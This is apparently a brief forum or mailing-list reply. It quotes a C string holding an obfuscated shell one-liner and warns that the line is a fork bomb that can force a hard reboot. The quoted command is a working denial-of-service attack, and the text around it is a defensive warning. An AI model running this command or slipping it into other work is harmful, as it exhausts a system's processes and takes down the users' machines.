  char coolcmd[]   = { "echo '. ./_&. ./_'>_;. ./_" };

Apologies for not seeing the humor in it, but just a heads-up that the 
above "coolcmd" is not something you want to run on anything but a 
sacrificial test box.

It is an obfuscated fork() bomb (denial of service attack), and on some 
boxes you will need to do a harsh/unclean reboot to cope with it.
